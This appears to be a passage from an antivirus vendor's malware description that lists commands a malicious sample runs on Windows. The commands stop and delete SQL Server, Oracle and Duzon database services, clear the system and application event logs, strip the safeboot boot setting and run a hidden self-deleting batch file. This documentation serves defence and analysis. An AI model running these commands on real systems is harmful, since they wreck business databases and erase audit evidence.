'<SYSTEM32>\cmd.exe' /c sc delete SQLSERVERAGENT
'<SYSTEM32>\cmd.exe' /c taskkill /f /im oracle.exe
'<SYSTEM32>\cmd.exe' /c sc delete OracleOraDb11g_home1TNSListener
'<SYSTEM32>\sc.exe' stop DzServerUpdaterService
'<SYSTEM32>\cmd.exe' /c 'bcdedit /deletevalue {current} safeboot'
'<SYSTEM32>\cmd.exe' /c sc stop OracleMTSRecoveryService
'<SYSTEM32>\cmd.exe' /c sc delete ReportServer
'<SYSTEM32>\sc.exe' stop OracleOraDb11g_home1TNSListener
'<SYSTEM32>\sc.exe' stop OracleJobSchedulerORCL
'<SYSTEM32>\sc.exe' delete SQLWriter
'<SYSTEM32>\sc.exe' stop OracleMTSRecoveryService
'<SYSTEM32>\sc.exe' stop OracleServiceORCL
'<SYSTEM32>\sc.exe' delete MSSQLFDLauncher
'<SYSTEM32>\wevtutil.exe' cl system
'<SYSTEM32>\sc.exe' delete OracleOraDb11g_home1ClrAgent
'<SYSTEM32>\sc.exe' delete MSSQLSERVER
'<SYSTEM32>\sc.exe' stop OracleOraDb11g_home1ClrAgent
'<SYSTEM32>\sc.exe' delete SQLSERVERAGENT
'<SYSTEM32>\sc.exe' stop OracleDBConsoleorcl
'<SYSTEM32>\sc.exe' delete OracleServiceORCL
'<SYSTEM32>\sc.exe' delete ReportingServecesService.exe
'<SYSTEM32>\sc.exe' stop DzKeyLockDotNetService
'<SYSTEM32>\sc.exe' stop ReportingServecesService.exe
'<SYSTEM32>\sc.exe' delete OracleVssWriterORCL
'<SYSTEM32>\sc.exe' delete OracleDBConsoleorcl
'<SYSTEM32>\cmd.exe' /c sc stop ReportServer
'<SYSTEM32>\cmd.exe' /c sc delete sqlservr.exe
'<SYSTEM32>\cmd.exe' /c sc stop sqlservr.exe
'<SYSTEM32>\cmd.exe' /c sc delete MsDtsServer110
'<SYSTEM32>\cmd.exe' /c taskkill /f /im mshta.exe
'<SYSTEM32>\cmd.exe' /c sc stop DuzonDataSafe
'<SYSTEM32>\cmd.exe' /c sc stop DzKeyLockService
'<SYSTEM32>\cmd.exe' /c sc delete DuzonDataSafe
'<SYSTEM32>\sc.exe' stop SQLSERVERAGENT
'<SYSTEM32>\cmd.exe' /c sc delete DzKeyLockService
'<SYSTEM32>\cmd.exe' /c sc stop DzServerUpdaterService
'<SYSTEM32>\cmd.exe' /c sc delete DzServerUpdaterService
'<SYSTEM32>\cmd.exe' /c sc stop DzKeyLockDotNetService
'<SYSTEM32>\cmd.exe' /c sc stop MsDtsServer120
'<SYSTEM32>\cmd.exe' /c sc delete DzKeyLockDotNetService
'<SYSTEM32>\sc.exe' stop SQLWriter
'<SYSTEM32>\sc.exe' delete SQLBrowser
'<SYSTEM32>\sc.exe' stop MSSQLSERVER
'<SYSTEM32>\cmd.exe' /c sc stop MSSQLServerOLAPService
'<SYSTEM32>\sc.exe' delete OracleOraDb11g_home1TNSListener
'<SYSTEM32>\wevtutil.exe' cl applocation
'<SYSTEM32>\cmd.exe' /c sc delete MSSQLServerOLAPService
'<SYSTEM32>\cmd.exe' /c sc stop MsDtsServer110
'<SYSTEM32>\sc.exe' stop SQLBrowser
'<SYSTEM32>\cmd.exe' /c taskkill /f /im n.exe
'<SYSTEM32>\cmd.exe' /c <Current directory>\DeleteItself.bat' (with hidden window)

Technologies

Terminology

Training and education

Myths

Technical Information

Curing recommendations

Free trial